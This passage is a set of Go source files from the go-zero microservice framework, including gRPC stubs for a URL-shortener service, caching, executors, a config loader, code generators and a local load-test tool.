return proto.CompactTextString(m) } func (*ShortenResp) ProtoMessage() {} func (*ShortenResp) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{3} } func (m *ShortenResp) GetShorten() string { if m != nil { return m.Shorten } return "" } func init() { proto.RegisterType((*ExpandReq)(nil), "transform.expandReq") proto.RegisterType((*ExpandResp)(nil), "transform.expandResp") proto.RegisterType((*ShortenReq)(nil), "transform.shortenReq") proto.RegisterType((*ShortenResp)(nil), "transform.shortenResp") } // Reference imports to suppress errors if they are not otherwise used. var _ context.Context var _ grpc.ClientConn // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. const _ = grpc.SupportPackageIsVersion4 // Client API for Transformer service type TransformerClient interface { Expand(ctx context.Context, in *ExpandReq, opts ...grpc.CallOption) (*ExpandResp, error) Shorten(ctx context.Context, in *ShortenReq, opts ...grpc.CallOption) (*ShortenResp, error) } type transformerClient struct { cc *grpc.ClientConn } func NewTransformerClient(cc *grpc.ClientConn) TransformerClient { return &transformerClient{cc} } func (c *transformerClient) Expand(ctx context.Context, in *ExpandReq, opts ...grpc.CallOption) (*ExpandResp, error) { out := new(ExpandResp) err := grpc.Invoke(ctx, "/transform.transformer/expand", in, out, c.cc, opts...) if err != nil { return nil, err } return out, nil } func (c *transformerClient) Shorten(ctx context.Context, in *ShortenReq, opts ...grpc.CallOption) (*ShortenResp, error) { out := new(ShortenResp) err := grpc.Invoke(ctx, "/transform.transformer/shorten", in, out, c.cc, opts...) if err != nil { return nil, err } return out, nil } // Server API for Transformer service type TransformerServer interface { Expand(context.Context, *ExpandReq) (*ExpandResp, error) Shorten(context.Context, *ShortenReq) (*ShortenResp, error) } func RegisterTransformerServer(s *grpc.Server, srv TransformerServer) { s.RegisterService(&_Transformer_serviceDesc, srv) } func _Transformer_Expand_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ExpandReq) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(TransformerServer).Expand(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/transform.transformer/Expand", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(TransformerServer).Expand(ctx, req.(*ExpandReq)) } return interceptor(ctx, in, info, handler) } func _Transformer_Shorten_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(ShortenReq) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(TransformerServer).Shorten(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/transform.transformer/Shorten", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(TransformerServer).Shorten(ctx, req.(*ShortenReq)) } return interceptor(ctx, in, info, handler) } var _Transformer_serviceDesc = grpc.ServiceDesc{ ServiceName: "transform.transformer", HandlerType: (*TransformerServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "expand", Handler: _Transformer_Expand_Handler, }, { MethodName: "shorten", Handler: _Transformer_Shorten_Handler, }, }, Streams: []grpc.StreamDesc{}, Metadata: "transform.proto", } func init() { proto.RegisterFile("transform.proto", fileDescriptor0) } var fileDescriptor0 = []byte{ // 163 bytes of a gzipped FileDescriptorProto 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x09, 0x6e, 0x88, 0x02, 0xff, 0xe2, 0xe2, 0x2f, 0x29, 0x4a, 0xcc, 0x2b, 0x4e, 0xcb, 0x2f, 0xca, 0xd5, 0x2b, 0x28, 0xca, 0x2f, 0xc9, 0x17, 0xe2, 0x84, 0x0b, 0x28, 0xa9, 0x72, 0x71, 0xa6, 0x56, 0x14, 0x24, 0xe6, 0xa5, 0x04, 0xa5, 0x16, 0x0a, 0x49, 0x70, 0xb1, 0x17, 0x67, 0xe4, 0x17, 0x95, 0xa4, 0xe6, 0x49, 0x30, 0x2a, 0x30, 0x6a, 0x70, 0x06, 0xc1, 0xb8, 0x4a, 0x72, 0x5c, 0x5c, 0x30, 0x65, 0xc5, 0x05, 0x42, 0x02, 0x5c, 0xcc, 0xa5, 0x45, 0x39, 0x50, 0x35, 0x20, 0x26, 0x48, 0x1e, 0xaa, 0x14, 0x64, 0x0e, 0xa6, 0xbc, 0x3a, 0x17, 0x37, 0x5c, 0xbe, 0xb8, 0x00, 0xb7, 0x45, 0x46, 0x75, 0x5c, 0xdc, 0x70, 0xc7, 0xa5, 0x16, 0x09, 0x99, 0x72, 0xb1, 0x41, 0xec, 0x15, 0x12, 0xd1, 0x43, 0xf8, 0x02, 0xee, 0x62, 0x29, 0x51, 0x2c, 0xa2, 0xc5, 0x05, 0x42, 0x16, 0x70, 0xf3, 0x85, 0x90, 0x55, 0x20, 0x9c, 0x28, 0x25, 0x86, 0x4d, 0xb8, 0xb8, 0x20, 0x89, 0x0d, 0x1c, 0x42, 0xc6, 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0x8a, 0x27, 0x78, 0x05, 0x34, 0x01, 0x00, 0x00, } ``` server.go ```package main import ( "context" "flag" "fmt" "os" "sync" "time" "github.com/tal-tech/go-zero/core/conf" "github.com/tal-tech/go-zero/example/tracing/remote/user" "github.com/tal-tech/go-zero/zrpc" "google.golang.org/grpc" ) var configFile = flag.String("f", "etc/config.json", "the config file") type UserServer struct { lock sync.Mutex alive bool downTime time.Time } func NewUserServer() *UserServer { return &UserServer{ alive: true, } } func (gs *UserServer) GetGrade(ctx context.Context, req *user.UserRequest) (*user.UserResponse, error) { fmt.Println("=>", req) hostname, err := os.Hostname() if err != nil { return nil, err } return &user.UserResponse{ Response: "hello from " + hostname, }, nil } func main() { flag.Parse() var c zrpc.RpcServerConf conf.MustLoad(*configFile, &c) server := zrpc.MustNewServer(c, func(grpcServer *grpc.Server) { user.RegisterUserServer(grpcServer, NewUserServer()) }) server.Start() } ``` transformer.go ```// Code generated by goctl. DO NOT EDIT! // Source: transform.proto //go:generate mockgen -destination ./transformer_mock.go -package transformer -source $GOFILE package transformer import ( "context" transform "shorturl/rpc/transform/pb" "github.com/tal-tech/go-zero/core/jsonx" "github.com/tal-tech/go-zero/zrpc" ) type ( Transformer interface { Expand(ctx context.Context, in *ExpandReq) (*ExpandResp, error) Shorten(ctx context.Context, in *ShortenReq) (*ShortenResp, error) } defaultTransformer struct { cli zrpc.Client } ) func NewTransformer(cli zrpc.Client) Transformer { return &defaultTransformer{ cli: cli, } } func (m *defaultTransformer) Expand(ctx context.Context, in *ExpandReq) (*ExpandResp, error) { var request transform.ExpandReq bts, err := jsonx.Marshal(in) if err != nil { return nil, errJsonConvert } err = jsonx.Unmarshal(bts, &request) if err != nil { return nil, errJsonConvert } client := transform.NewTransformerClient(m.cli.Conn()) resp, err := client.Expand(ctx, &request) if err != nil { return nil, err } var ret ExpandResp bts, err = jsonx.Marshal(resp) if err != nil { return nil, errJsonConvert } err = jsonx.Unmarshal(bts, &ret) if err != nil { return nil, errJsonConvert } return &ret, nil } func (m *defaultTransformer) Shorten(ctx context.Context, in *ShortenReq) (*ShortenResp, error) { var request transform.ShortenReq bts, err := jsonx.Marshal(in) if err != nil { return nil, errJsonConvert } err = jsonx.Unmarshal(bts, &request) if err != nil { return nil, errJsonConvert } client := transform.NewTransformerClient(m.cli.Conn()) resp, err := client.Shorten(ctx, &request) if err != nil { return nil, err } var ret ShortenResp bts, err = jsonx.Marshal(resp) if err != nil { return nil, errJsonConvert } err = jsonx.Unmarshal(bts, &ret) if err != nil { return nil, errJsonConvert } return &ret, nil } ``` relativetime.go ```package timex import "time" // Use the long enough past time as start time, in case timex.Now() - lastTime equals 0. var initTime = time.Now().AddDate(-1, -1, -1) func Now() time.Duration { return time.Since(initTime) } func Since(d time.Duration) time.Duration { return time.Since(initTime) - d } func Time() time.Time { return initTime.Add(Now()) } ``` annotation.go ```package util import ( "strings" "github.com/tal-tech/go-zero/tools/goctl/api/spec" ) func GetAnnotationValue(annos []spec.Annotation, key, field string) (string, bool) { for _, anno := range annos { if anno.Name == field && len(anno.Value) > 0 { return anno.Value, true } if anno.Name == key { value, ok := anno.Properties[field] return strings.TrimSpace(value), ok } } return "", false } ``` bulkexecutor.go ```package executors import "time" const defaultBulkTasks = 1000 type ( BulkOption func(options *bulkOptions) BulkExecutor struct { executor *PeriodicalExecutor container *bulkContainer } bulkOptions struct { cachedTasks int flushInterval time.Duration } ) func NewBulkExecutor(execute Execute, opts ...BulkOption) *BulkExecutor { options := newBulkOptions() for _, opt := range opts { opt(&options) } container := &bulkContainer{ execute: execute, maxTasks: options.cachedTasks, } executor := &BulkExecutor{ executor: NewPeriodicalExecutor(options.flushInterval, container), container: container, } return executor } func (be *BulkExecutor) Add(task interface{}) error { be.executor.Add(task) return nil } func (be *BulkExecutor) Flush() { be.executor.Flush() } func (be *BulkExecutor) Wait() { be.executor.Wait() } func WithBulkTasks(tasks int) BulkOption { return func(options *bulkOptions) { options.cachedTasks = tasks } } func WithBulkInterval(duration time.Duration) BulkOption { return func(options *bulkOptions) { options.flushInterval = duration } } func newBulkOptions() bulkOptions { return bulkOptions{ cachedTasks: defaultBulkTasks, flushInterval: defaultFlushInterval, } } type bulkContainer struct { tasks []interface{} execute Execute maxTasks int } func (bc *bulkContainer) AddTask(task interface{}) bool { bc.tasks = append(bc.tasks, task) return len(bc.tasks) >= bc.maxTasks } func (bc *bulkContainer) Execute(tasks interface{}) { vals := tasks.([]interface{}) bc.execute(vals) } func (bc *bulkContainer) RemoveAll() interface{} { tasks := bc.tasks bc.tasks = nil return tasks } ``` pe.go ```package main import ( "fmt" "time" "github.com/tal-tech/go-zero/core/executors" ) func main() { executor := executors.NewBulkExecutor(func(items []interface{}) { fmt.Println(len(items)) }, executors.WithBulkTasks(10)) for { if err := executor.Add(1); err != nil { fmt.Println(err) return } time.Sleep(time.Millisecond * 90) } } ``` chainserverinterceptors.go ```package internal import "google.golang.org/grpc" func WithStreamServerInterceptors(interceptors ...grpc.StreamServerInterceptor) grpc.ServerOption { return grpc.ChainStreamInterceptor(interceptors...) } func WithUnaryServerInterceptors(interceptors ...grpc.UnaryServerInterceptor) grpc.ServerOption { return grpc.ChainUnaryInterceptor(interceptors...) } ``` gencomponents.go ```package javagen import ( "fmt" "io" "path" "strings" "text/template" "github.com/tal-tech/go-zero/tools/goctl/api/spec" apiutil "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/util" ) const ( componentTemplate = `// Code generated by goctl. DO NOT EDIT. package com.xhb.logic.http.packet.{{.packet}}.model; import com.xhb.logic.http.DeProguardable; {{.componentType}} ` ) func genComponents(dir, packetName string, api *spec.ApiSpec) error { types := apiutil.GetSharedTypes(api) if len(types) == 0 { return nil } for _, ty := range types { if err := createComponent(dir, packetName, ty); err != nil { return err } } return nil } func createComponent(dir, packetName string, ty spec.Type) error { modelFile := util.Title(ty.Name) + ".java" filename := path.Join(dir, modelDir, modelFile) if err := util.RemoveOrQuit(filename); err != nil { return err } fp, created, err := apiutil.MaybeCreateFile(dir, modelDir, modelFile) if err != nil { return err } if !created { return nil } defer fp.Close() tys, err := buildType(ty) if err != nil { return err } t := template.Must(template.New("componentType").Parse(componentTemplate)) return t.Execute(fp, map[string]string{ "componentType": tys, "packet": packetName, }) } func buildType(ty spec.Type) (string, error) { var builder strings.Builder if err := writeType(&builder, ty); err != nil { return "", apiutil.WrapErr(err, "Type "+ty.Name+" generate error") } return builder.String(), nil } func writeType(writer io.Writer, tp spec.Type) error { fmt.Fprintf(writer, "public class %s implements DeProguardable {\n", util.Title(tp.Name)) for _, member := range tp.Members { if err := writeProperty(writer, member, 1); err != nil { return err } } genGetSet(writer, tp, 1) fmt.Fprintf(writer, "}\n") return nil } ``` target.go ```package internal import ( "fmt" "strings" "github.com/tal-tech/go-zero/zrpc/internal/resolver" ) func BuildDirectTarget(endpoints []string) string { return fmt.Sprintf("%s:///%s", resolver.DirectScheme, strings.Join(endpoints, resolver.EndpointSep)) } func BuildDiscovTarget(endpoints []string, key string) string { return fmt.Sprintf("%s://%s/%s", resolver.DiscovScheme, strings.Join(endpoints, resolver.EndpointSep), key) } ``` spancontext.go ```package tracespec type SpanContext interface { TraceId() string SpanId() string Visit(fn func(key, val string) bool) } ``` cache.go ```package cache import ( "fmt" "log" "time" "github.com/tal-tech/go-zero/core/errorx" "github.com/tal-tech/go-zero/core/hash" "github.com/tal-tech/go-zero/core/syncx" ) type ( Cache interface { DelCache(keys ...string) error GetCache(key string, v interface{}) error SetCache(key string, v interface{}) error SetCacheWithExpire(key string, v interface{}, expire time.Duration) error Take(v interface{}, key string, query func(v interface{}) error) error TakeWithExpire(v interface{}, key string, query func(v interface{}, expire time.Duration) error) error } cacheCluster struct { dispatcher *hash.ConsistentHash errNotFound error } ) func NewCache(c ClusterConf, barrier syncx.SharedCalls, st *CacheStat, errNotFound error, opts ...Option) Cache { if len(c) == 0 || TotalWeights(c) <= 0 { log.Fatal("no cache nodes") } if len(c) == 1 { return NewCacheNode(c[0].NewRedis(), barrier, st, errNotFound, opts...) } dispatcher := hash.NewConsistentHash() for _, node := range c { cn := NewCacheNode(node.NewRedis(), barrier, st, errNotFound, opts...) dispatcher.AddWithWeight(cn, node.Weight) } return cacheCluster{ dispatcher: dispatcher, errNotFound: errNotFound, } } func (cc cacheCluster) DelCache(keys ...string) error { switch len(keys) { case 0: return nil case 1: key := keys[0] c, ok := cc.dispatcher.Get(key) if !ok { return cc.errNotFound } return c.(Cache).DelCache(key) default: var be errorx.BatchError nodes := make(map[interface{}][]string) for _, key := range keys { c, ok := cc.dispatcher.Get(key) if !ok { be.Add(fmt.Errorf("key %q not found", key)) continue } nodes[c] = append(nodes[c], key) } for c, ks := range nodes { if err := c.(Cache).DelCache(ks...); err != nil { be.Add(err) } } return be.Err() } } func (cc cacheCluster) GetCache(key string, v interface{}) error { c, ok := cc.dispatcher.Get(key) if !ok { return cc.errNotFound } return c.(Cache).GetCache(key, v) } func (cc cacheCluster) SetCache(key string, v interface{}) error { c, ok := cc.dispatcher.Get(key) if !ok { return cc.errNotFound } return c.(Cache).SetCache(key, v) } func (cc cacheCluster) SetCacheWithExpire(key string, v interface{}, expire time.Duration) error { c, ok := cc.dispatcher.Get(key) if !ok { return cc.errNotFound } return c.(Cache).SetCacheWithExpire(key, v, expire) } func (cc cacheCluster) Take(v interface{}, key string, query func(v interface{}) error) error { c, ok := cc.dispatcher.Get(key) if !ok { return cc.errNotFound } return c.(Cache).Take(v, key, query) } func (cc cacheCluster) TakeWithExpire(v interface{}, key string, query func(v interface{}, expire time.Duration) error) error { c, ok := cc.dispatcher.Get(key) if !ok { return cc.errNotFound } return c.(Cache).TakeWithExpire(v, key, query) } ``` main.go ```package main import ( "errors" "flag" "fmt" "io" "net/http" "os" "sync/atomic" "time" "github.com/tal-tech/go-zero/core/fx" "github.com/tal-tech/go-zero/core/logx" ) var ( errServiceUnavailable = errors.New("service unavailable") total int64 pass int64 fail int64 drop int64 seconds int64 = 1 ) func main() { flag.Parse() fp, err := os.Create("result.csv") logx.Must(err) defer fp.Close() fmt.Fprintln(fp, "seconds,total,pass,fail,drop") go func() { ticker := time.NewTicker(time.Second) defer ticker.Stop() for range ticker.C { reset(fp) } }() for i := 0; ; i++ { it := time.NewTicker(time.Second / time.Duration(atomic.LoadInt64(&seconds))) func() { for j := 0; j < int(seconds); j++ { <-it.C go issueRequest() } }() it.Stop() cur := atomic.AddInt64(&seconds, 1) fmt.Println(cur) } } func issueRequest() { atomic.AddInt64(&total, 1) err := fx.DoWithTimeout(func() error { return job() }, time.Second) switch err { case nil: atomic.AddInt64(&pass, 1) case errServiceUnavailable: atomic.AddInt64(&drop, 1) default: atomic.AddInt64(&fail, 1) } } func job() error { resp, err := http.Get("http://localhost:3333/") if err != nil { return err } defer resp.Body.Close() switch resp.StatusCode { case http.StatusOK: return nil default: return errServiceUnavailable } } func reset(writer io.Writer) { fmt.Fprintf(writer, "%d,%d,%d,%d,%d\n", atomic.LoadInt64(&seconds), atomic.SwapInt64(&total, 0), atomic.SwapInt64(&pass, 0), atomic.SwapInt64(&fail, 0), atomic.SwapInt64(&drop, 0), ) } ``` validator.go ```package parser import ( "errors" "fmt" "strings" "github.com/tal-tech/go-zero/core/stringx" "github.com/tal-tech/go-zero/tools/goctl/api/spec" "github.com/tal-tech/go-zero/tools/goctl/api/util" ) func (p *Parser) validate(api *spec.ApiSpec) (err error) { var builder strings.Builder for _, tp := range api.Types { if ok, name := p.validateDuplicateProperty(tp); !ok { fmt.Fprintf(&builder, `duplicate property "%s" of type "%s"`+"\n", name, tp.Name) } } if ok, info := p.validateDuplicateRouteHandler(api); !ok { fmt.Fprintf(&builder, info) } if len(builder.String()) > 0 { return errors.New(builder.String()) } return nil } func (p *Parser) validateDuplicateProperty(tp spec.Type) (bool, string) { var names []string for _, member := range tp.Members { if stringx.Contains(names, member.Name) { return false, member.Name } else { names = append(names, member.Name) } } return true, "" } func (p *Parser) validateDuplicateRouteHandler(api *spec.ApiSpec) (bool, string) { var names []string for _, r := range api.Service.Routes() { handler, ok := util.GetAnnotationValue(r.Annotations, "server", "handler") if !ok { return false, fmt.Sprintf("missing handler annotation for %s", r.Path) } if stringx.Contains(names, handler) { return false, fmt.Sprintf(`duplicated handler for name "%s"`, handler) } else { names = append(names, handler) } } return true, "" } ``` package.go ```package parser import "github.com/emicklei/proto" type Package struct { *proto.Package } ``` config.go ```package conf import ( "fmt" "io/ioutil" "log" "path" "github.com/tal-tech/go-zero/core/mapping" ) var loaders = map[string]func([]byte, interface{}) error{ ".json": LoadConfigFromJsonBytes, ".yaml": LoadConfigFromYamlBytes, ".yml": LoadConfigFromYamlBytes, } func LoadConfig(file string, v interface{}) error { if content, err := ioutil.ReadFile(file); err != nil { return err } else if loader, ok := loaders[path.Ext(file)]; ok { return loader(content, v) } else { return fmt.Errorf("unrecoginized file type: %s", file) } } func LoadConfigFromJsonBytes(content []byte, v interface{}) error { return mapping.UnmarshalJsonBytes(content, v) } func LoadConfigFromYamlBytes(content []byte, v interface{}) error { return mapping.UnmarshalYamlBytes(content, v) } func MustLoad(path string, v interface{}) { if err := LoadConfig(path, v); err != nil { log.Fatalf("error: config file %s, %s", path, err.Error()) } } ``` rootstate.go ```package parser import ( "bufio" "fmt" "strings" "github.com/tal-tech/go-zero/tools/goctl/api/spec" ) type rootState struct { *baseState } func newRootState(r *bufio.Reader, lineNumber *int) state { var state = newBaseState(r, lineNumber) return rootState{ baseState: state, } } func (s rootState) process(api *spec.ApiSpec) (state, error) { var annos []spec.Annotation var builder strings.Builder for { ch, err := s.readSkipComment() if err != nil { return nil, err } switch { case isSpace(ch): if builder.Len() == 0 { continue } token := builder.String() builder.Reset() return s.processToken(token, annos) case ch == at: if builder.Len() > 0 { return nil, fmt.Errorf("%q before %q", builder.String(), at) } var annoName string annoLoop: for { next, err := s.readSkipComment() if err != nil { return nil, err } switch { case isSpace(next): if builder.Len() > 0 { annoName = builder.String() builder.Reset() } case next == leftParenthesis: if err := s.unread(); err != nil { return nil, err } if builder.Len() > 0 { annoName = builder.String() builder.Reset() } attrs, err := s.parseProperties() if err != nil { return nil, err } annos = append(annos, spec.Annotation{ Name: annoName, Properties: attrs, }) break annoLoop default: builder.WriteRune(next) } } case ch == leftParenthesis: if builder.Len() == 0 { return nil, fmt.Errorf("incorrect %q at the beginning of the line", leftParenthesis) } if err := s.unread(); err != nil { return nil, err } token := builder.String() builder.Reset() return s.processToken(token, annos) case isLetterDigit(ch): builder.WriteRune(ch) case isNewline(ch): if builder.Len() > 0 { return nil, fmt.Errorf("incorrect newline after %q", builder.String()) } } } } func (s rootState) processToken(token string, annos []spec.Annotation) (state, error) { switch token { case infoDirective: return newInfoState(s.baseState), nil case serviceDirective: return newServiceState(s.baseState, annos), nil default: return nil, fmt.Errorf("wrong directive %q", token) } } ``` naming.go ```package name import ( "strings" "github.com/tal-tech/go-zero/tools/goctl/util/stringx" ) type NamingStyle = string const ( NamingLower NamingStyle = "lower" NamingCamel NamingStyle = "camel" NamingSnake NamingStyle = "snake" ) // IsNamingValid validates whether the namingStyle is valid or not,return // namingStyle and true if it is valid, or else return empty string // and false, and it is a valid value even namingStyle is empty string func IsNamingValid(namingStyle string) (NamingStyle, bool) { if len(namingStyle) == 0 { namingStyle = NamingLower } switch namingStyle { case NamingLower, NamingCamel, NamingSnake: return namingStyle, true default: return "", false } } func FormatFilename(filename string, style NamingStyle) string { switch style { case NamingCamel: return stringx.From(filename).ToCamel() case NamingSnake: return stringx.From(filename).ToSnake() default: return strings.ToLower(stringx.From(filename).ToCamel()) } } ``` taskrunner.go ```package threading import ( "github.com/tal-tech/go-zero/core/lang" "github.com/tal-tech/go-zero/core/rescue" ) type TaskRunner struct { limitChan chan lang.PlaceholderType } func NewTaskRunner(concurrency int) *TaskRunner { return &TaskRunner{ limitChan: make(chan lang.PlaceholderType, concurrency), } } func (rp *TaskRunner) Schedule(task func()) { rp.limitChan <- lang.Placeholder go func() { defer rescue.Recover(func() { <-rp.limitChan }) task() }() } ``` producer.go ```package queue type ( Producer interface { AddListener(listener ProduceListener) Produce() (string, bool) } ProduceListener interface { OnProducerPause() OnProducerResume() } ProducerFactory func() (Producer, error) ) ``` import.go ```package parser import "github.com/emicklei/proto" type Import struct { *proto.Import } ``` main.go ```package main import ( "fmt" "os" "os/signal" "path" "runtime/pprof" "syscall" "time" "github.com/tal-tech/go-zero/core/cmdline" "github.com/tal-tech/go-zero/core/logx" ) const ( goroutineProfile = "goroutine" debugLevel = 2 timeFormat = "0102150405" ) func init() { go func() { // https://golang.org/pkg/os/signal/#Notify signals := make(chan os.Signal, 1) signal.Notify(signals, syscall.SIGUSR1, syscall.SIGTERM) for { v := <-signals switch v { case syscall.SIGUSR1: dumpGoroutines() case syscall.SIGTERM: gracefulStop(signals) default: logx.Error("Got unregistered signal:", v) } } }() } func dumpGoroutines() { command := path.Base(os.Args[0]) pid := syscall.Getpid() dumpFile := path.Join(os.TempDir(), fmt.Sprintf("%s-%d-goroutines-%s.dump", command, pid, time.Now().Format(timeFormat))) logx.Infof("Got dump goroutine signal, printing goroutine profile to %s", dumpFile) if f, err := os.Create(dumpFile); err != nil { logx.Errorf("Failed to dump goroutine profile, error: %v", err) } else { defer f.Close() pprof.Lookup(goroutineProfile).WriteTo(f, debugLevel) } } func gracefulStop(signals chan os.Signal) { signal.Stop(signals) logx.Info("Got signal SIGTERM, shutting down...") time.Sleep(time.Second * 5) logx.Infof("Still alive after %v, going to force kill the process...", time.Second*5) syscall.Kill(syscall.Getpid(), syscall.SIGTERM) } func main() { cmdline.EnterToContinue() } ``` file.go ```package util import ( "bufio" "fmt" "os" "path/filepath" "strings" "github.com/logrusorgru/aurora" ) const ( NL = "\n" ) func CreateIfNotExist(file string) (*os.File, error) { _, err := os.Stat(file) if !os.IsNotExist(err) { return nil, fmt.Errorf("%s already exist", file) } return os.Create(file) } func RemoveIfExist(filename string) error { if !FileExists(filename) { return nil } return os.Remove(filename) } func RemoveOrQuit(filename string) error { if !FileExists(filename) { return nil } fmt.Printf("%s exists, overwrite it?\nEnter to overwrite or Ctrl-C to cancel...", aurora.BgRed(aurora.Bold(filename))) bufio.NewReader(os.Stdin).ReadBytes('\n') return os.Remove(filename) } func FileExists(file string) bool { _, err := os.Stat(file) return err == nil } func FileNameWithoutExt(file string) string { return strings.TrimSuffix(file, filepath.Ext(file)) } ``` expandlogic.go ```package logic import ( "context" "shorturl/rpc/transform/internal/svc" transform "shorturl/rpc/transform/pb" "github.com/tal-tech/go-zero/core/logx" ) type ExpandLogic struct { logx.Logger ctx context.Context svcCtx *svc.ServiceContext } func NewExpandLogic(ctx context.Context, svcCtx *svc.ServiceContext) *ExpandLogic { return &ExpandLogic{ Logger: logx.WithContext(ctx), ctx: ctx, svcCtx: svcCtx, } } func (l *ExpandLogic) Expand(in *transform.ExpandReq) (*transform.ExpandResp, error) { res, err := l.svcCtx.Model.FindOne(in.Shorten) if err != nil { return nil, err } return &transform.ExpandResp{ Url: res.Url, }, nil } ``` util.go ```package tsgen import ( "fmt" "io" "strings" "github.com/tal-tech/go-zero/tools/goctl/api/spec" apiutil "github.com/tal-tech/go-zero/tools/goctl/api/util" "github.com/tal-tech/go-zero/tools/goctl/util" ) func writeProperty(writer io.Writer, member spec.Member, indent int, prefixForType func(string) string) error { writeIndent(writer, indent) ty, err := goTypeToTs(member.Type, prefixForType) if err != nil { return err } optionalTag := "" if member.IsOptional() || member.IsOmitempty() { optionalTag = "?" } name, err := member.GetPropertyName() if err != nil { return err } comment := member.GetComment() if len(comment) > 0 { comment = strings.TrimPrefix(comment, "//") comment = " // " + strings.TrimSpace(comment) } if len(member.Docs) > 0 { fmt.Fprintf(writer, "%s\n", strings.Join(member.Docs, "")) writeIndent(writer, 1) } _, err = fmt.Fprintf(writer, "%s%s: %s%s\n", name, optionalTag, ty, comment) return err } func writeIndent(writer io.Writer, indent int) { for i := 0; i < indent; i++ { fmt.Fprint(writer, "\t") } } func goTypeToTs(tp string, prefixForType func(string) string) (string, error) { if val, pri := primitiveType(tp); pri { return val, nil } if tp == "[]byte" { return "Blob", nil } else if strings.HasPrefix(tp, "[][]") { tys, err := apiutil.DecomposeType(tp) if err != nil { return "", err } if len(tys) == 0 { return "", fmt.Errorf("%s tp parse error", tp) } innerType, err := goTypeToTs(tys[0], prefixForType) if err != nil { return "", err } return fmt.Sprintf("Array<Array<%s>>", innerType), nil } else if strings.HasPrefix(tp, "[]") { tys, err := apiutil.DecomposeType(tp) if err != nil { return "", err } if len(tys) == 0 { return "", fmt.Errorf("%s tp parse error", tp) } innerType, err := goTypeToTs(tys[0], prefixForType) if err != nil { return "", err } return fmt.Sprintf("Array<%s>", innerType), nil } else if strings.HasPrefix(tp, "map") { tys, err := apiutil.DecomposeType(tp) if err != nil { return "", err } if len(tys) != 2 { return "", fmt.Errorf("%s tp parse error", tp) } innerType, err := goTypeToTs(tys[1], prefixForType) if err != nil { return "", err } return fmt.Sprintf("{ [key: string]: %s }", innerType), nil } return addPrefixIfNeed(util.Title(tp), prefixForType), nil } func addPrefixIfNeed(tp string, prefixForType func(string) string) string { if val, pri := primitiveType(tp); pri { return val } tp = strings.Replace(tp, "*", "", 1) return prefixForType(tp) + util.Title(tp) } func primitiveType(tp string) (string, bool) { switch tp { case "string": return "string", true case "int", "int8", "int32", "int64": return "number", true case "float", "float32", "float64": return "number", true case "bool": return "boolean", true case "[]byte": return "Blob", true case "interface{}": return "any", true } return "", false } func writeType(writer io.Writer, tp spec.Type, inlineType func(string) (*spec.Type, error), prefixForType func(string) string) error { fmt.Fprintf(writer, "export interface %s {\n", util.Title(tp.Name)) if err := genMembers(writer, tp, false, inlineType, prefixForType); err != nil { return err } fmt.Fprintf(writer, "}\n") err := genParamsTypesIfNeed(writer, tp, inlineType, prefixForType) if err != nil { return err } return nil } func genParamsTypesIfNeed(writer io.Writer, tp spec.Type, inlineType func(string) (*spec.Type, error), prefixForType func(string) string) error { members := tp.GetNonBodyMembers() if len(members) == 0 { return nil } fmt.Fprintf(writer, "\n") fmt.Fprintf(writer, "export interface %sParams {\n", util.Title(tp.Name)) if err := genMembers(writer, tp, true, inlineType, prefixForType); err != nil { return err } fmt.Fprintf(writer, "}\n") return nil } func genMembers(writer io.Writer, tp spec.Type, isParam bool, inlineType func(string) (*spec.Type, error), prefixForType func(string) string) error { members := tp.GetBodyMembers() if isParam { members = tp.GetNonBodyMembers() } for _, member := range members { if member.IsInline { // 获取inline类型的成员然后添加到type中 it, err := inlineType(strings.TrimPrefix(member.Type, "*")) if err != nil { return err } if err := genMembers(writer, *it, isParam, inlineType, prefixForType); err != nil { return err } continue } if err := writeProperty(writer, member, 1, prefixForType); err != nil { return apiutil.WrapErr(err, " type "+tp.Name) } } return nil } ``` main.go ```package main import ( "flag" "net/http" "github.com/tal-tech/go-zero/core/conf" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/service" "github.com/tal-tech/go-zero/example/tracing/remote/portal" "github.com/tal-tech/go-zero/rest" "github.com/tal-tech/go-zero/rest/httpx" "github.com/tal-tech/go-zero/zrpc" ) var ( configFile = flag.String("f", "config.json", "the config file") client zrpc.Client ) type Config struct { rest.RestConf Portal zrpc.RpcClientConf } func handle(w http.ResponseWriter, r *http.Request) { conn := client.Conn() greet := portal.NewPortalClient(conn) resp, err := greet.Portal(r.Context(), &portal.PortalRequest{ Name: "kevin", }) if err != nil { httpx.WriteJson(w, http.StatusInternalServerError, http.StatusText(http.StatusInternalServerError)) } else { httpx.OkJson(w, resp.Response) } } func main() { flag.Parse() var c Config conf.MustLoad(*configFile, &c) client = zrpc.MustNewClient(c.Portal) engine := rest.MustNewServer(rest.RestConf{ ServiceConf: service.ServiceConf{ Log: logx.LogConf{ Mode: "console", }, }, Port: c.Port, }) defer engine.Stop() engine.AddRoute(rest.Route{ Method: http.MethodGet, Path: "/", Handler: handle, }) engine.Start() } ``` template.go ```package docker import ( "github.com/tal-tech/go-zero/tools/goctl/util" "github.com/urfave/cli" ) const ( category = "docker" dockerTemplateFile = "docker.tpl" dockerTemplate = `FROM golang:alpine AS builder LABEL stage=gobuilder ENV CGO_ENABLED 0 ENV GOOS linux {{if .Chinese}}ENV GOPROXY https://goproxy.cn,direct{{end}} WORKDIR /build/zero ADD go.mod . ADD go.sum . RUN go mod download COPY . . COPY {{.GoRelPath}}/etc /app/etc RUN go build -ldflags="-s -w" -o /app/{{.ExeFile}} {{.GoRelPath}}/{{.GoFile}} FROM alpine RUN apk update --no-cache RUN apk add --no-cache ca-certificates RUN apk add --no-cache tzdata ENV TZ Asia/Shanghai WORKDIR /app COPY --from=builder 